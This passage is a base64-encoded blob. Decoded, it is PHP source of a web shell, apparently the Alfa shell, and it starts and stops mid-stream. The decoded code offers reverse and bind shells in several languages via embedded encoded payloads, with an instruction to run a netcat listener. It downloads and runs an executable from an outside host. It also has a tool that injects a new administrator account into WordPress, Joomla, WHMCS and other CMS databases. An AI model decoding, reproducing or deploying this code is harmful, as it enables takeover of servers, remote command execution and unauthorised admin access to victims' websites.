9ZWxzZXskcmVzID0gJGVycjt9Cn0KcmV0dXJuICRyZXM7Cn0KcmV0dXJuIGZhbHNlOwp9CmZ1bmN0aW9uIGFsZmFjb25uZWN0KCl7CmFsZmFoZWFkKCk7CiRwaHA9IjdWWnRhOXN3RVA1ZTZIOVFqYUUyUzV1WGZoZzBwREJZUHc3S1Z0aUh0ak9PTE5jaXRxVko4cEt4cGI5OWQzNkw0emlkMTdXd1FWMXdyYnZUbzBlNk96MWhTZ25sS1NhRk1qeTlkMGJ1OVBCQU0rTVpuakF2NWdrM2hVM01QWjdJbUZOdXZERE9kT1NnMVRhK3VtZEdreGxoS3htTGdEa1dzUWFrdE9jaEZMM2pzN08zT0ZqNk1FaXpPTVlCYXc1MEJBTUxVSUFKdWI3OCtHRzJNa3dsMDZ0UDQ5bnhyWDMxK2YzRjhiUjBnMjA2blBOMENKTk91SVhURTV6OVFON0ZvVSt1bVo4UUhiRTRKZy9rOEFEOVBDUU9GVmxxbklxeVMyWkF5eVUvRGc4SVBMWUVnTkkzTFUwNUk2c2FHUnpCb2dGYTFvVEZtdTFCblhTaTZwdlJYUk81Tm8vdnRwZnc2U0pmb21BZFppazFYS1FlVzNGdHRITXNhV3BpTHhScWNldzJGdUlCVE43NDh2U2dCekVLNzR5YzRJWUJ4empqdHJ1MGo1cDJLVFJmZVZBTm1nZU8yd0ZRVWtUZTFkbHNHR0hhdFZHUUMwOEx1b0NhMGt4OVk4cXhESlhudytIb05QODd0OGdwMEllYVlVcWxvdmdQOHlvaUZVUlpreUtEdzlZRGNsWXp0ZW5PUWo2bFRHSmNjemNRWWtRc2xzQkFaM01ZT1RLU1hwYjZDWFBjQVJrQnBwdHYwbHJ5ZExNUGZNS2w0b1k1TmdWMkNkQ0Z0TkVsSHNrcHNTNnNhaEY4bGhHUEdaNG9PUUtrMEljaTJVS3FpeUxFMUFOaWMzSjk3b3JkZTRsdmFPUllReHJjRXVmbXk2MitlK01PT2ZZV25wVlM3ZzV1amgxZ0dZQjdVMVZ0ZEs2OWdDc0hJZ0dDUnRWM1I3UXRBR3Q3cjYyb1RSc1l4WlBtRWR1eVBFeXNGb3Y4L0VuMlJuek5JTUlsYzhqZ29vV1A2QVVOSHhyN2NvV1RrSWkxazRUV3hHYkdSSE52NjBaV2FTdzBhK1dnTXRhbFUyeHhielUwNTlvQjFyeXZsUC9kR1pIWlJmbHBTUzRaSk01U0Z0VFp1TU94Uk1lazI3RzFnRlRZNUVwUVQwaVdBc3RvZ0t0aVVYRFpqTVNVSEVHbUZkTWlVeFRZU3F5WTdkN0hwOUZlOHhpNkIwVUF3ZUN5Z3A3b0ZUbnVIVG5wRlVsYlFXVlBHWlh0OWxKK1F6SVJZaGF4eUlydmdwWGJYVk8yOHVzczVUbXM5bEJTYkhkQ3pURm1GTzRVNVVQa0VsOE1YcWhlWFMzTVU2K3hndkwzZEN2SG13RGdneUtPNnE0MnJPcXR5b3JOMjFIcnh3alUyK3ZEb2c1K25BcDlFb3ZKbjdDWS9EMkxqbDdYWGIzZWVRRVVwNzNQTTk3cjJTNmd2RmNyYjYxcDYrWVBpRW85VWZhMzFUTkVPU3NhUFNydmZaYmlhMHYvbmtuYjlMTnIyMDd1WHJXdGliOVAyK0FIYTE5MTB6M1VyWWVRNlZjaGV4RWgwMDhTTXYwa0lkTXZMbVM2NStXdC95Y2gwLytFa1AyT1JWOGhlMm5OK2dVPSI7CiRweXRob249InBWUnRUOXN3RVA2Y1N2MFB4cHRXUjgwTTdZWTB3WUpVUVpqUUJsUnRwMzBBVnFYT3BZbVdPcEh0UVBuQ2I1L3RKRzFBSFVLYXFyYStWOTl6OTV6ZjdlMlhVdXd2VXI0UC9CNFZqeXJKZWJlVHJvcGNLQ1RBaytXaUVEa0RLYjFjZXZKUmYzUDJCNVNuMGhWME80V1BjYmVUMk44SVlpUVR5RExDM0tOdXh6RngvamFlanZNQ09HR2U5ZkZub3RUWlZaU1g2cG5UeFRnd2FoQmlsenJsTDdXdXZrbUFLZ1ZIUmsycmxGUkFHQkczMzZoMHVwWnFWU2ppVXVBc2o0RDBTaFYvL05MVGVTb0lJVk5wem1zTWFZeHlTWG00Z2owZmM0V056b2w5UnVNMEE1NFRjN3VqUFhSakZLd0loclZ0M0N5WVhQcHJCV0oxUEo0Ty9ONzc4YSt6azk1eGJkV3FZOXR5bWFDUEtmcjZBZmVsRWlSMit4aWR0SVhoVmpJWFFTYkJGdkNRNk51UjZhQVZIU1VlcTRNamRHa0MyRDBaSEF3L3V6UUNDeEZiaU5nVzY4Q2FRYUZxL3lLVXN0STJ1UjJEV1dNandqMDVxRFhPd2hkQUpZU0NKUVN6NkJhUm05KzM4cTd2WWs5NGNSWXVwWEc0K0haMVBRbE9SOVBBcmVOMHFrV1RvKzVsRWFxRXBqSktCVm5RcGNqTGdneGNkK05rbXNtU0Y5YkdxRWNKUENML21tRGoxOEtpOHhsK1dWWUt0MTFKcVZESUk0dFVudzNXT3J1UktrZWJCOVhrT2crMTFIQ2txZUJvU3o1OHkzRmZGNzhFeFI0TXovQ0ozb21scjVsQlE3RzgxMHRWOVhYcCt2N1E3b2UvdkJuY2RUdVF0U3lmMmhZbjBZZWhkZEdWd0RwVnVodG02Vkt1U0tGUDBxKzJrVlovcEpaRzUvT0xxMkJXcnlxZFhwOStuMDluazJCMGFXSTBUR1VzZWJFSm1GNy9tQnV2ZHN4OEV2eWNCcU96czRsbkxuMVp2YVNhd1JFaCtJRGFEL1lLT3dCSnMxVHZBaWVIUmpMTTFDc2Z1cjd1QWpQRXN5dlQ0cUI1UjZqTUFBcUxiVHU4bmF2WFVJRGdKelRLNGhETklGeWhxWmt2ZXRJVDJNMkpMU0ZlQzhlYnAyRjNsczNEOEt3WmRtQUdKdExFelRrSHBnaEo2bWJzeG5uNEJwenkvM0MrRnY1R25OTDlDdz09IjsKJHBlcmw9ImxaTFJqcE5BRklhdjI2VHZNT0pzQzhrWVdyMWJwSkZRM0RSclM4T3dHbU9Wc1BTc1RLUURnVm0zbSs3MjJaMEJWaWZHR0wwNzU1L0RkK0FibmoremI1dmF2bWJjQnY0ZFZWQVhvK0Z0QTJnWm5wL1RNdnNHd2hrTmNkbTQrRXVvcWlaM0RUaFVaUzFRSEVRcjl5Q2czanNiT25Nblc3ejVzTmpPSjA1L0xrT25KVGM1ZXNFTStUUzdNUlhxdExmdlpNeXNZNHM3ODhNVjNRVCtHYkl2RGVkUkxoSHVWeEJWWFlyeStwNm5lekFuSXFzbWxpUTA3U3VabEl3M2I1UGxPb2pKbUliK1pVTGpLUEJXQkF2cjRXSEh3TFM2YlcrODZPSzk2ODZzNDJnNHdKV0xWZjlwK2xtZURob1FpbFpXQ2tmRGQ0a0NTU0FOa3lpNG9vRzNXRVJrcGtBRCtSRTdPYVRHMDkydVRoZzNjVVdXYXpXU2VPdVBscloxVUxCR0FKZmpyL1EwelRLUW0zeENyVzY1SlByRU9DR3Z1RWxSRE9rZTBSeUtBcDIyM0NEVGRxaXNnQ01hTDVacllyd2UrNGJ6RklSWE1USG1laEpFVVovSTUrQUFHWkpxdGZWWlVUWmcrcGJURmZSbm9laGFJOGxhSjZsV0IyUUNUV1VsTHdlSzVwZllsMzhTaS9PK25YVXRjeGtIa2FTaWxOcHlYUXBPM2QrY1lxYWZaeVhua0tuN3dhbWV0L2JvUDlnemUzdnpNVFVzNXlucDllbFI3MDlGZnhQNGY5NDZXM0JVK2t6NUp6MytBQT09IjsKJHJ1Ynk9InRWYjdiOU02RlA3WitTdU1OMGh6VnhMR1EraDJONnZHVTBnZ3FqRzRRbVFYdGM1cFl5MTFndTNRb1czODdmaVZycVh0MWl2ZDY2cDFlczduOC9UNTJwMDdTU05GTW1JOEFmNGRpMmIwSTlqQmhWSzE3Q1hKaEttaUdjVzBtaWFqUjA4Zm43blBRTUMzaGduQW9hem9HYWp3V2xBUFZjR0hVd2lESUljeGxnMDlrd0VTb0JyQjhmSEhaNSsvRHQ0ZW5ieDZmL3d1enFzWnAwTUo4WFNvYU5FSnAzTEcrS1Y1VHhtZnpNS29yMFFEdmZHd2xCQUF6NTFGQWNQU09PbElKU0p0T2RWN2dOZ1l2MklseEhET3BKSjlyOVRhZ1k4bjVqQ3owcmcxRUt2cXF3N05HRGJIYmFSWUZjQ3hTRVU4a2Myb2syUkowaVZaUmlKc1lUNE40YUxSaDQ2T1gzK0tTK0FUVmFUcGZvRDFNcUl2RDA3VG44ay9YeDdjLy9QMFlyLzc1R28zNmRmcEc2NWdBcUxqRVZGUEI2dnNHWm1lUEI5OEFQRWRoSTJUa0c0ZFdRMU5aVHlrRkdvSHBIRXRHRmVZMkRaZ1dVQlo0aDZtRmVkQUZlUVpKeFkzZ2duajlza3NIU2l2bE84RlhsampsSm9xc0NVaG5BUEYwdm9aZHdpYzE1VlErT1RsOGJ2MFhJR1lIZ3crN0tkaHRqdjQrMFYyR0I1NHZSWWUyRHNrQzN5ZjRleXY3TjdkSEdlSGRudm9kdElkbTFjMDl3YW1zWXV1Mi9UbVBTWXhpZmJJSVZsQ3pRcmRhVnpxMkNlZ2xoTXlTd3laQkF4Q1ZPS1pxRXp5cFdsR3ppQVQvZDFrQmUrclU4YTBxS1oxbWhLeUF2RXdZNGZtT1A0allXc2hacFZwNmUrT1JpYXNHNGFSTTd6eFJIdDFjejAvVkZYaVI3OVRSaHZSenNlOFFMY2dYekNodld2TE53SE5aZDZrMjY0akN3MzFaY3BtdlJ2THRDNXBWNmV0RTdvTi9wK21CUnROdlhrZjExVU52Rk4yaVNEUnhTV3JMbHZ6ckRKc2srOFJQWmQ3Szc2dWdtM0QvbDIyK0wxOUZpQnBjMzN2TmZuTjZRVzRiTVIxQmpLbVpiV1FrVXc1SzRQV2x1dmhFckU5dEFTNWdkaTBvMVZxTzlEU0lyWGY5azgxeDVvQytvQWM0VHJHc3o4ZWp2RjJMb29yeTNwSWJzRnh5QkVjUWt2VWhoQWFhNzYwaklhTXUvK2J5RkNiMlR6bzFRdWxsUzFoU1VkWVdvSnVJU2tiUDFyRFRNakxGNm5JeXRCbTRrSHRvVFUwZzlyRGk0emloVXZrNFVTMmQzYmRtTEN0eTI5TXNEbUtkcEJYM1M1ci9vMXo4TWgxMHltM25NNGxwMzUzbS84enNIYmdrSjgyRTZXYk0vMWtKd3o1OFhLVFo4Rkc4Z3M9IjsKJG5vZGU9Im5WSExhc013RUR3cmtIOFF2bGlDb0VEVFc4aWg5QlBTVy9wQXRkZVJRSlpjU1hZS0lmbjJ5cktkNXRHV1loK0VkMmQyTkR0cXVNV3U0anVOVjlqQ1J5MHRrRFFUVXVWdmxUVVpPSmRTRmduTDZhUUpaQTMrbkJyS2xQYVE4eFo0ZVk1Mm5STWhNOW9aQlJkWGRhMUk2VlVFS0JVbzZmeGQ2cmtUYVVCa1FYbzNyRkxjRjhhV3JPUStFMlQrdWdzc1NlbjNYRmJtREQ0aFBTbHl1MjBDTUNpMFphZlovakVGZXV2RmFyV2crK2tFdFh3UnlHRXZsZ1h6SHRaZ0c3Q2txSFhtcGRIRVJSNXliR2VsQjVJYzhZTXFPSDVxVjE5SEQ4ZG5uYlQ3NFA3cnRncWlNVWNTalo3alRqRG5jNm1aQlZlWFFPZzFaR3JQd3MxSnpqMVBab01UVE5xYTdnY25zVm9lYnBYQjJwSGpmNDBOcG0rbVVYY0twcVR6b0dQS203dVh0bm1ZVGtBNXdOZlozNSt5ZHhmWlB4cXRvWXU5VjVuRjE5d3NvdHgvSGdIOWxqNzZJWFkwTW04ME1tZzBMdUhERnc9PSI7CiRjPSJ0Vkp0Yjlvd0VQN2NTdjBQSHAxYXAvV0FzTzBUVGFXb1pCTGFDaEhKTkUwYmlsTEhOS2NaRzhWbWdrN3JiOThsQkFyWmkvYWxVcXpjUGZmNDduelBuWUxpY3BrSmNtVnNCcnFkWDU4Y24rNWhCYWo3MzhCTXdsMFRYSnVPWFMrRStRTnVOUDhtYkNPZ2hBVThIVkNOd0ZJQlZxaEFVSmJNVTFDME5OTGluak9lcHdXNVFQUDdsNm56NCtUNHFJd1l4cG4yM0Q2NjJQQ1NJNElWMHl3ckVsQUVTaHhtdEx6dmViM3ExaEcwRGFoa2xzNUJyajMvWFRJY0JYSC9LYkRRaGZWeXE1V2hxZFZBcTRMdTFISDJPR1grdHFsK0ZWWFM0Y2dmRENhSlAvcTg0Umx2ODNKYUYyRFIrT1o5RXNXVHdMOWwzWm9qYkVuU0Mwc054ajhrSmFlaUpwUGdZeFNVR2RtWlpnWWVoSjVSdlcxaFJsOFlSNnpBMGpyUkhhZ01VOURHQk1pRmN3YXN1M0pybXNUaENvWEV0eHVmZXlubm9xcmVmZW9KVTNIV2VpUytuS1VrRnVtY1JMbVFrangrVlMzV2U3TWxac3RGRDRtSG5udmc5ZXFVYXl3N3B5MnhLa2RMNG1CeTY2MnNLT2I5TUhLOTg1ZmhwOEgxZWIrT0lvU200S1NEaitxWW5MeUNWdDJ0MUVaUVhqay84UWhwQk5scCsvcFp0QzIzdExJMnpONjBudmVES1BRV1lqaDFpV1BkTWk3ZHkzMWtsLzJmR3pFTXc4azRIaWZ4VGJnVG1YS3RsT0QycjhyV2U5R0lPWTV6MVQxWWowcFQ4NythbW9ibkhualBvYW5aYW9yZkx3PT0iOwokamF2YT0ibFZSTmI5c3dERDJuUVArRDRKTTlCRzZUMDRiQ3d6Nnd3NEFCSFpiZXVod1VoYkcxMnJJZzBYR0NOUHZ0b3o3c3Vtc3ZQZGlXeUNmeThaR3liSFJya1AzaGU1N0xObjkzYzNraEp5WUY2RzJYRjdyYjFGSXdVWE5yR2E5My9BNTRjN3E4bUdrajl4eUJXZVJJZ0oxVXZJNHdqUXdPQ0dwcjJWMWxnRzhkZmp6d1hla09WMGoyaGtsN00zWGRkdmprYXp2MERNZ2RPR2hNbjUrZHZ6aVFuYkNTTnBlMm9NaCtTY2JDUlRxSFVKOXU5MkNNM01JazdyNlZXMlk2bFdhZTV3ek5NU3htbXlQQy9acHRXTUVVOU14djN5OCtMTmMzd1M4Vk1rRk95dVBLVERkWmRQU1ZyQ0VWSDR2cmpNVllNMktSOTBZaXBKdjU5VndNVUcvZjFaMnQwdEgwYXN5ei80UzM0Q2lxOU50QmdFYlpLZ2JaQ1hKU1VaRVdYRHpjR1M2QXdubXdlNFhxWTcyeFk3N3Noa3VWa241U2xWUW9ONlVOSXJqSzNEajQzTUhQUkxNbFhzblZScW9yV3lYZUpYZnA2bWdSbXJ3RS9HbGFEUWFQYWRMYVhQRUdraXpIOWtmYmcvbktMUkhLcGRyQzRYYVhKcjFVU2Via09jV285RWtDMzVpdGQ5YS83RE9OSEhNengxWVYxRFg3KzF1RnpKUGU5Qzc1RjlyYktPR3FGUStBcklwOUM5dm9HN3RMMUYyOWVRMnF4S29vRnJIOU0zOE5DcHBUaEJKTXJybXhRQnVQdnI5ZUQvMVlnYUZaaXFuc2tHcGlURjJnQWUyNDJKd0wxN0doMGFHWFVGdGcvNU5adnBWTUVFMXF3bnJYWWoxSlBCRkI2am1iOERxL0xnVjdmR1N2ODVuZXdGSzZzaXVuL3NROGp2R3p5MW0ySTNacUg4SGtIMjdIWUtKeEV1QitKM1R3VjZkUU51Q094eVZORXh4QXBEUTRXZnhQa0ZvMHRZdFlNT21zWDFDYk95SkRBb2RlUHFGTDkwZlJMeG1POEVWT1Y4ZTQ5dW5sdUh5UzBiL2VjRFBwT2Y4RCI7CmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEJhY2sgQ29ubmVjdCB8PC9kaXY+PGJyPjxicj4iOwplY2hvICI8Zm9ybSBvblN1Ym1pdD1cImcoJ2Nvbm5lY3QnLG51bGwsdGhpcy5zZWxlY3RDYi52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy5jYm1ldGhvZC52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPgo8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPk1laHRvZDo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdjYm1ldGhvZCcgb25DaGFuZ2U9J2N0bGJjKHRoaXMpOycgc3R5bGU9J3dpZHRoOjEyMHB4Oyc+PG9wdGlvbiB2YWx1ZT0nYmFjayc+UmV2ZXJzZSBTaGVsbDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2JpbmQnPkJpbmQgUG9ydDwvb3B0aW9uPjwvc2VsZWN0PiA8ZGl2IGNsYXNzPVwidHh0Zm9udFwiPlVzZTo8L2Rpdj4gPHNlbGVjdCBuYW1lPSdzZWxlY3RDYic+IjsKJGNiQXJyID0gYXJyYXkoInBocCI9PiJQaHAiLCJwZXJsIj0+IlBlcmwiLCJweXRob24iPT4iUHl0aG9uIiwicnVieSI9PiJSdWJ5IiwiYyI9PiJDIiwiamF2YSI9PiJKYXZhIiwibm9kZSI9PiJOb2RlSnMiLCJiY3dpbiI9PiJXaW5kb3dzIik7CmZvcmVhY2goJGNiQXJyIGFzICRrZXk9PiR2YWwpe2VjaG8oIjxvcHRpb24gdmFsdWU9J3ska2V5fScgIi4oJEdMT0JBTFNbJ3N5cyddPT0nd2luJz8nc2VsZWN0ZWQnOicnKS4iPnskdmFsfTwvb3B0aW9uPiIpO30KZWNobyAiPC9zZWxlY3Q+IDxkaXYgaWQ9J2JjaXBBY3Rpb24nIHN0eWxlPSdkaXNwbGF5OmlubGluZS1ibG9jazsnPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+SVA6PC9kaXY+IDxpbnB1dHR5cGU9J3RleHQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz48L2Rpdj4gPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5Qb3J0OiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzUnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDEyJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L2Zvcm0+PHA+PGRpdiBpZD0nYmNTdGF0dXMnPjxzbWFsbD5SdW4gYCA8Zm9udCBjb2xvcj0ncmVkJz5uYyAtbCAtdiAtcCBwb3J0PC9mb250PiBgIG9uIHlvdXIgY29tcHV0ZXIgYW5kIHByZXNzIGAgPGZvbnQgY29sb3I9J3JlZCc+Pj48L2ZvbnQ+IGAgYnV0dG9uPC9zbWFsbD48L2Rpdj48L3A+PC9jZW50ZXI+PC9iPjwvZm9udD48YnI+IjsKaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpewokbGFuZyA9ICRfUE9TVFsnYWxmYTEnXTsKJGlwID0gJF9QT1NUWydhbGZhMiddOwokcG9ydCA9ICRfUE9TVFsnYWxmYTMnXTsKJGFyZyA9ICgkX1BPU1RbJ2FsZmE0J109PSdiaW5kJz8kcG9ydDokcG9ydC4nICcuJGlwKTsKJHRtcGRpciA9IEFMRkFfVEVNUERJUjsKJG5hbWUgPSAkdG1wZGlyLicvJy4kbGFuZy51bmlxaWQoKS5yYW5kKDEsOTk5OTkpOwokYWxsb3cgPSBhcnJheSgncGVybCcsJ3J1YnknLCdweXRob24nLCdub2RlJyk7CmV2YWwoJyRsYW49JCcuJGxhbmcuJzsnKTsKaWYoaW5fYXJyYXkoJGxhbmcsJGFsbG93KSl7CmlmKF9fd3JpdGVfZmlsZSgkbmFtZSxfX2dldF9yZXNvdXJjZSgkbGFuKSkpewppZihfYWxmYV9jYW5fcnVuQ29tbWFuZCh0cnVlLHRydWUpKXsKJG9zID0gKCRHTE9CQUxTWydzeXMnXSE9J3dpbicpPycxPi9kZXYvbnVsbCAyPiYxICYnOicnOwokb3V0ID0gYWxmYUV4KCIkbGFuZyAkbmFtZSAkYXJnICRvcyIpOwppZigkb3V0PT0nJyl7JG91dD0iPGZvbnQgY29sb3I9J2dyZWVuJz48Y2VudGVyPlsgRmluaXNoZWQuLi4hIF08L2NlbnRlcj48L2ZvbnQ+Ijt9CmVjaG8oIjxwcmUgY2xhc3M9J21sMScgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz57JG91dH08L3ByZT4iKTsKfQp9ZWxzZXsKZWNobygiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Zm9udCBjb2xvcj0ncmVkJz48Y2VudGVyPlsgRmFpbGVkLi4uISBdPC9jZW50ZXI+PC9mb250PjwvcHJlPiIpOwp9Cn0KaWYoJGxhbmc9PSdqYXZhJ3x8JGxhbmc9PSdjJyl7CiRjb2RlID0gX19nZXRfcmVzb3VyY2UoJGxhbik7CiRvdXQgPSBubDJicihiY2luaXQoJGxhbmcsICRjb2RlLCcnLCcnKSk7CmVjaG8oIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGNlbnRlcj57JG91dH08L2NlbnRlcj48L3ByZT4iKTsKfQppZigkbGFuZz09J2Jjd2luJyl7CiRhbGZhID0gbmV3IEFsZmFDVVJMKCk7CiRzID0gJGFsZmEtPlNlbmQoJ2h0dHA6Ly9zb2xldmlzaWJsZS5jb20vYmMvd2luZG93cy5leGUnKTsKJHRtcGRpciA9IEFMRkFfVEVNUERJUjsKJGYgPSBAZm9wZW4oJHRtcGRpci4nL2Jjd2luLmV4ZScsJ3crJyk7CkBmd3JpdGUoJGYsICRzKTsKQGZjbG9zZSgkZik7CiRvdXQgPSBhbGZhRXgoJHRtcGRpci4iL2Jjd2luLmV4ZSAiLiRfUE9TVFsnYWxmYTInXS4iICIuJF9QT1NUWydhbGZhMyddKTsKfQppZigkbGFuZz09J3BocCcpewplY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiI7CiRjb2RlID0gX19nZXRfcmVzb3VyY2UoJGxhbik7CmlmKCRjb2RlIT09ZmFsc2UpewokY29kZSA9ICJcJHRhcmdldCA9IFwiIi4kYXJnLiJcIjtcbiIuJGNvZGU7CmV2YWwoJGNvZGUpOwplY2hvKCI8Y2VudGVyPjxmb250IGNvbG9yPSdncmVlbic+WyBGaW5pc2hlZC4uLiEgXTwvZm9udD48L2NlbnRlcj4iKTsKfQplY2hvICI8L3ByZT4iOwp9Cn0KZWNobyAiPC9kaXY+IjsKYWxmYWZvb3RlcigpOwp9CmZ1bmN0aW9uIGFsZmFwd2NoYW5nZXIoKXsKYWxmYWhlYWQoKTsKCmVjaG8gJzxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IEFkZCBOZXcgQWRtaW4gfDwvZGl2Pgo8Y2VudGVyPjxoMz4nOwokdmFscyA9IGFycmF5KCdXb3JkUHJlc3MnID0+IGFycmF5KCd3cCcsMiksJ0pvb21sYScgPT4gYXJyYXkoJ2pvb21sYScsMyksJ3ZCdWxsZXRpbicgPT4gYXJyYXkoJ3ZiJyw1KSwncGhwQkInID0+IGFycmF5KCdwaHBiYicsNiksJ1dITUNTJyA9PiBhcnJheSgnd2htY3MnLDcpLCdNeUJCJyA9PiBhcnJheSgnbXliYicsOCksJ1BocCBOdWtlJyA9PiBhcnJheSgnbnVrZScsOSksJ0RydXBhbCcgPT4gYXJyYXkoJ2RydXBhbCcsMTApLCdTTUYnID0+IGFycmF5KCdzbWYnLDExKSk7CkFsZmFfQ3JlYXRlX0FfVGFnKCdwd2NoYW5nZXInLCR2YWxzKTsKZWNobyAnPC9oMz48L2NlbnRlcj4nOwppZihpc3NldCgkX1BPU1RbJ2FsZmExJ10pJiYkX1BPU1RbJ2FsZmExJ109PSd3cCcpewoKZWNobyBfX3ByZSgpLic8Y2VudGVyPjxjZW50ZXI+PGRpdiBjbGFzcz0idHh0Zm9udF9oZWFkZXIiPnwgV29yZFByZXNzIHw8L2Rpdj4KPHA+Jy5nZXRDb25maWdIdG1sKCd3cCcpLic8L3A+PGZvcm0gb25TdWJtaXQ9ImcoXCdwd2NoYW5nZXJcJyxudWxsLFwnd3BcJyxcJz4+XCcsdGhpcy5sb2NhbGhvc3QudmFsdWUsdGhpcy5kYXRhYmFzZS52YWx1ZSx0aGlzLnVzZXJuYW1lLnZhbHVlLHRoaXMucGFzc3dvcmQudmFsdWUsbnVsbCx0aGlzLmFkbWluLnZhbHVlLHRoaXMuZW1haWwudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpO3JldHVybiBmYWxzZTsiIG1ldGhvZD0iUE9TVCI+JzsKJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywnaWQnPT4nZGJfaG9zdCcsICdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMicgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBOYW1lJywgJ2lkJz0+J2RiX25hbWUnLCdpbnB1dE5hbWUnID0+ICdkYXRhYmFzZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXInLCAnaWQnPT4nZGJfdXNlcicsJ2lucHV0TmFtZScgPT4gJ3VzZXJuYW1lJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDQnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwKICd0ZDUnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4JywgJ2lkJz0+J2RiX3ByZWZpeCcsJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpbnB1dFZhbHVlJyA9PiAnd3BfJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ2JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFVzZXInLCAnaW5wdXROYW1lJyA9PiAnYWRtaW4nLCAnaW5wdXRWYWx1ZScgPT4gJ2FkbWluJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ3JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkYwMDAwJywgJ3RkTmFtZScgPT4gJ0FkbWluIFBhc3MnLCAnaW5wdXROYW1lJyA9PiAna2gnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlJywgJ2lucHV0U2l6ZScgPT4gJzUwJywgJ2Rpc2FibGVkJyA9PiB0cnVlKSwKICd0ZDgnID0+CiBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAndGROYW1lJyA9PiAnQWRtaW4gRW1haWwnLCAnaW5wdXROYW1lJyA9PiAnZW1haWwnLCAnaW5wdXRWYWx1ZScgPT4gJ3NvbGV2aXNpYmxlQGZiaS5nb3YnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQopOwpjcmVhdGVfdGFibGUoJHRhYmxlKTsKZWNobyAnPHA+PGlucHV0IHZhbHVlPSIgIiBuYW1lPSJzZW5kIiB0eXBlPSJzdWJtaXQiPjwvcD48L2Zvcm0+JzsKaWYgKCRfUE9TVFsnYWxmYTInXSAmJiAkX1BPU1RbJ2FsZmEyJ10gPT0gJz4+Jyl7CiRsb2NhbGhvc3QgPSAkX1BPU1RbJ2FsZmEzJ107CiRkYXRhYmFzZSA9ICRfUE9TVFsnYWxmYTQnXTsKJHVzZXJuYW1lID0gJF9QT1NUWydhbGZhNSddOwokcGFzc3dvcmQgPSAkX1BPU1RbJ2FsZmE2J107CiRhZG1pbiA9ICRfUE9TVFsnYWxmYTgnXTsKJFNRTCA9ICRfUE9TVFsnYWxmYTknXTsKJHByZWZpeCA9ICRfUE9TVFsnYWxmYTEwJ107CiRjb25uPUBteXNxbGlfY29ubmVjdCgkbG9jYWxob3N0LCR1c2VybmFtZSwkcGFzc3dvcmQsJGRhdGFiYXNlKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJpbnNlcnQgaW50byAiLiRwcmVmaXguInVzZXJzIChJRCx1c2VyX2xvZ2luLHVzZXJfcGFzcyx1c2VyX2VtYWlsKSB2YWx1ZXMobnVsbCwnJGFkbWluJywnZDRhNTkwY2FhY2MwYmU1NWVmMjg2ZTQwYTk0NWVhNDUnLCckU1FMJykiKSBvciBkaWUobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRzb2xldmlzaWJsZT1AbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgSUQgZnJvbSAiLiRwcmVmaXguInVzZXJzIHdoZXJlIHVzZXJfbG9naW49JyIuJGFkbWluLiInIikgb3IgZGllKG15c3FsaV9lc